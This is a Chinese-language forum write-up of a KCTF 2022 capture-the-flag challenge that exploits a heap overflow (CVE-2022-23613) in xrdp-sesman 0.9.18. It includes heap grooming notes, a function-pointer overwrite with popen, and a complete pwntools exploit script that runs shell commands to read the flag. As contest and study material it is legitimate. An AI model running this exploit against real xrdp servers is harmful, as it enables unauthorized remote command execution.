首页
社区
课程
招聘
[原创] 看雪 2022 KCTF 秋季赛 第七题 广厦万间,PWN XRDP!
2022-12-1 14:50 12232

[原创] 看雪 2022 KCTF 秋季赛 第七题 广厦万间,PWN XRDP!

2022-12-1 14:50
12232

KCTF 2022 秋季赛第七题

熬夜一天+通宵一天,终于解出来了,激动的心,颤抖的手

环境搭建

拿到附件,常规操作 file 一下,发现居然是一个带符号、带调试信息的 ELF

1
attachment: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a52a0533f20440fa6f9c65fdf61fa51deddc018, for GNU/Linux 3.2.0, with debug_info, not stripped

在 22.04 中,直接执行会报错:

1
./attachment: error while loading shared libraries: libcommon.so.0: cannot open shared object file: No such file or directory

按照作者的文档,apt 安装好依赖,再执行依然报错。谷歌一下这个报错,再结合 IDA 看到的 print_versiong_writeln("xrdp-sesman %s", "0.9.18");,不难发现附件是 xrdp 中的 xrdp-sesman。

 

为了尽可能接近远程环境,我选择 clone xrdp 仓库,本地编译并 make install,然后用附件替换掉 /usr/local/sbin/xrdp-sesman。编译时确实遇到了 openssl 相关的错误,在网上找到的解决方案:

1
2
3
4
5
6
7
8
9
# download binary openssl packages from Impish builds
wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_1.1.1f-1ubuntu2.16_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_1.1.1f-1ubuntu2.16_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2.16_amd64.deb
 
# install downloaded binary packages
sudo dpkg -i libssl1.1_1.1.1f-1ubuntu2.16_amd64.deb
sudo dpkg -i libssl-dev_1.1.1f-1ubuntu2.16_amd64.deb
sudo dpkg -i openssl_1.1.1f-1ubuntu2.16_amd64.deb

利用分析

0.9.18 的 xrdp-sesman 有 CVE-2022-23613,实际上一搜跳出来的就是出题人曾经的分析文章,通读下来可以知道,利用方式主要是堆溢出覆盖函数指针。文章使用本地提权的方式,先在本地写好要执行的文件,使用堆喷布置参数,利用 plt 中的 g_execvpg_execlp3 执行命令。

由于出题人已经介绍过 xrdp 源码、重要结构体,下文不再提及这些内容

 

简单尝试一下会发现,服务非常容易打挂,并且平台容器没有重启机制,甚至还有频率限制——于是会出现:开容器,十秒打挂,等一分钟后销毁容器,等一分钟后再开新容器。基于这些考虑,不得不放弃堆喷,转而寻找更稳定高效的利用。

 

首先肯定是需要一个能覆盖函数指针的方法。经过简单地风水(我是新建连接 0、1,关闭连接 0、1,新建连接 2 作为后续使用),可以找到一个 trans 结构体,其 self->in_s->end 地址低于结构体本身,也就是产生的溢出可以覆盖结构体本身。(我认为覆盖自身的情况只需要一个连接,会更稳定)

 

接下来开始物色覆盖指针的目标。在翻阅 plt 的时候,发现除了出题人介绍过的两个 exec 家族的封装,还有一个 popen 是高价值目标。它需要给定两个字符串参数(popen("cmd", "r")),于是开始查看每个函数指针的使用情况,主要是以下三种:

1
2
3
self->trans_can_recv(self, self->sck, 0);
self->trans_recv(self, self->in_s->end, to_read);
self->trans_data_in(self);

self->sck 是结构体的第一个参数。也就是说,对于 trans_can_recv,有 *self == self->sck 的情况,显然不能满足传递两个字符串。

 

对于 trans_recv,可以放心地布置第一个参数为字符串。但 self->in_s->end 正常是指向要写入的位置,内容不太可控。在 trans_data_in 下面有一个 init_stream 可以把指针重置到开头,但重置之后需要等到下次轮询,才能回到使用其他函数指针的位置,每次轮询开始之前,会对 sck 进行 select 无法顺利通过。也就是说,如果想控制 trans_recv 的第二个参数,就无法控制第一个。

 

最后的希望是 trans_data_in。虽然它只有一个参数(而且是可控的),但是寄存器里有其他的值。调试一下会发现,此时第二个参数 RSI 指向的是 self->in_s->data 的位置(或者它的附近),也是可控的!
如果想要调用到 trans_data_in,还有一个前置条件,read_so_far == self->header_size,这个计算一下数据长度,不难实现。

 

于是我们可以开始布置溢出参数,这个时候会发现,trans_data_in 指针十分靠前,在结构体的偏移是 0x18 —— 这意味着第一个参数的字符串最多只能长 24。作为对比,第二个参数只需要简简单单一个 "r",却有上千字节的空间。

 

我一度以为在不出网环境下,24 字节无法完成利用(先 kill server,然后用 Python 监听 3350 端口,做一个 Bind Shell)。此时尚是第二天夜晚,题目还是零解的情况,错过这个机会有点可惜。

 

后来我又去寻觅了一个任意长度的命令执行,但是只有在 gdb 下断点的时候才能实现。总之,在调试长命令的时候,我才注意到,子进程继承了 socket 连接,可以直接向 7 号 fd 输出,回头看 popen 才发现也可以,于是最后 ls -al >&7cat flag >&7 两条命令解决(当然还只是本地)。贴 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
elf = ELF('./attachment')
context.log_level = 'debug'
context.arch = 'amd64'
HOST = "0.0.0.0"
PORT = 3350
 
if len(sys.argv) > 1:
    HOST = '221.228.109.254'
    PORT = int(sys.argv[1])
 
r2 = remote(HOST, PORT)
r3 = remote(HOST, PORT)
sleep(1)
r2.close()
r3.close()
sleep(1)
 
r = remote(HOST, PORT)
payload = flat(
    # b"A" * 0x24F8,
    (b'r'+b'\x00'*7)*1183,
    b'echo xx >&7; cat f* >&7'.ljust(24, b'\x00'),  # len 24
    # b'touch /a;ls -al . / >&7'.ljust(24, b'\x00'),  # len 24
    elf.plt.popen,  # trans_data_in
    #0x1234,  # trans_data_in
    0# trans_conn_in
    0# callback_data
    b'SIZESIZE'# header_size
    0x410478# in s
    0# out s
)
# total ~0x2500
r.send(p32(0) + p32(0x80000001, endian='big'))
payload = payload.replace(b'SIZESIZE', p64(len(payload) - 0x10))
r.send(payload)
r.interactive()

其中 in_s 的覆盖不是必要的,去掉的话 header size 要做相应调整。这里覆盖的原因是,这个 exp 是从下面没走通的路改出来的(

 

出题人在群里提到远程奇奇怪怪的问题,其实我找到的任意长度的执行也是因为这个无法实现。因为挺有意思(实际上也复杂得多),我也介绍一下这个利用。

一条走不通的路

我准备把指针换成 session_start_fork 里的 gadget 片段:

1
2
3
4
5
6
7
8
9
10
.text:000000000040955D                 lea     rax, aReconnectwmSh+0Ch ; "sh"
.text:0000000000409564                 lea     rsi, [rsp+0B68h+params] ; argv
.text:000000000040956C                 mov     [rsp+0B68h+params+18h], 0
.text:0000000000409578                 mov     [rsp+0B68h+params], rax
.text:0000000000409580                 lea     rax, aC         ; "-c"
.text:0000000000409587                 lea     rdi, file       ; "/bin/sh"
.text:000000000040958E                 mov     [rsp+0B68h+params+8], rax
.text:0000000000409596                 mov     rax, [rbx+68h]
.text:000000000040959A                 mov     [rsp+0B68h+params+10h], rax
.text:00000000004095A2                 call    _g_execvp

如果用 trans 的任意函数指针跳到这里,只有 RBX 会被使用,RBX 即 trans 结构体的地址。这段 gadget 从 trans->addr 取了一个指针,作为 sh -c 的命令执行。也就是说,如果我们在内存中写入一条命令,并且知道命令的地址,就可以实现任意长度的代码执行了。

 

那么往哪里写呢?基本上写内存就 trans_recv 一条路。如果我们提前覆盖 self->in_s,让其 end 本身在 rw 段,其指向也在 rw 段(因为写完内存会有 self->in_s->end += read_bytes;,修改指针)。

 

唯一已知的 rw 段是:0x410000 - 0x411000,这个段里主要是 GOT 表和全局变量,并没有指向段内的指针。

 

如果是堆,需要泄露地址。修改 trans->wait_s 为几个全局变量(存的是堆指针),可以在 trans_send_waiting 中向 socket 泄漏很多内存,但是泄露之后有一个 free 的检查无法通过。

 

于是我还是回到了 0x410000 的考虑,这里有的指针还是比较接近段内的。比如 0x4100000x40fde0,一大堆没有解析的 GOT 表基本指向 0x403...
我希望使用 self->in_s->end += read_bytes; 来调整指针,举例来说,如果把 0x410000 的值增大一点点,它就落在了 rw 段内。我需要前面那个能覆盖自身的 trans,覆盖 self->in_s0x410000-8,这样 self->in_s->end 就对上了 0x410000。如果我写入的长度 read_bytes 落在 0x220 ~ 0x1220 之间,那么我就有了一个确定地址的、可写的指针。当然,这个 trans 还需要能覆盖之后一个 transin_s,使其数据写在这个确定地址上。

 

坏消息是,in_s->data 本身有 0x2000 的空间,如果要产生溢出,数据的长度是远远大于 0x1220 的。因此目光就转向了改 GOT 上。把 0x403000 改到 0x410000,需要 0xd000 ~ 0xe000 的长度。并且我们还得控制:对于被覆盖的第二个 trans,只能覆盖到它的 in_s,不能破坏 trans_recv 指针——不然没得读了(trans_recv 是 libcommon 里的函数。程序本身的 plt 里面似乎没有可以替代它的)。于是一通风水,最后终于实现了在 gdb 打断点情况下的任意长度执行。

 

那为什么不打断点就不行呢?我切换了打断点的思路,把条件断点打在 trans_recv 之后,条件是 read_bytes > 8,8 是 header 的长度。这时,我发现 trans_recv 根本没有收齐我的 0xd000。那么原因也呼之欲出了,打了断点时,大量的数据有时间慢慢进入缓冲区,然后一次读出;不打断点,就会变成读多少是多少。此外,一旦溢出开始覆盖结构体自身,in_strans_recv 等都会变化,没有第二次续传的机会。我本来还想试试用 g_sleep,后来也作罢了。

 

如果抓包会发现,虽然理论上 TCP 支持将近 0x10000 的长度,这些数据还是会被分到多个 TCP 报文中。也许使用 raw socket 可以解决这个问题?其实我曾经在 IOT pwn 上遇到类似的情况,当时捣鼓过一番,最后的选择是——重新堆风水,让溢出的数据包别那么大。现在这个数据的长度是定死的,就不是风水的问题了。
出题人提到的问题“本机docker打通后,docker导出镜像,放远程直接导入镜像,打不通”,多半也是因为 TCP 分片的原因。

最后的 EXP 微调

前面提到,我解决了 popen 的本地利用问题(gdb 不用下断点也可以!),远程还没通。这个数据包的长度大约 0x2500,对于 TCP 来说还是比较大的。鉴于前面的绝大多数字节都是在为溢出做准备,他们实际上可以分开来发送,只需要最后几百字节是一次性溢出的即可。

 

把之前 exp 发送 payload 的几行稍微改一下,拆成两段发送,最后就成了

1
2
3
4
sep = 0x1a00
payload = payload.replace(b'SIZESIZE', p64(len(payload) - 0x10 - sep))
r.send(p32(0) + p32(0x80000001, endian='big') + payload[:sep])
r.send(payload[sep:])

FLAG:KCTF{ee43d769-ac1d-4f2e-82b3-9167ff484c8e}


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-12-1 19:47 被tkmk编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 7719
活跃值: (5742)
能力值: ( LV12,RANK:418 )
在线值:
发帖
回帖
粉丝
Tokameine 3 2022-12-2 14:23
2
0
神乎其技!下次得想办法多搞点限制了QWQ
游客
登录 | 注册 方可回帖
返回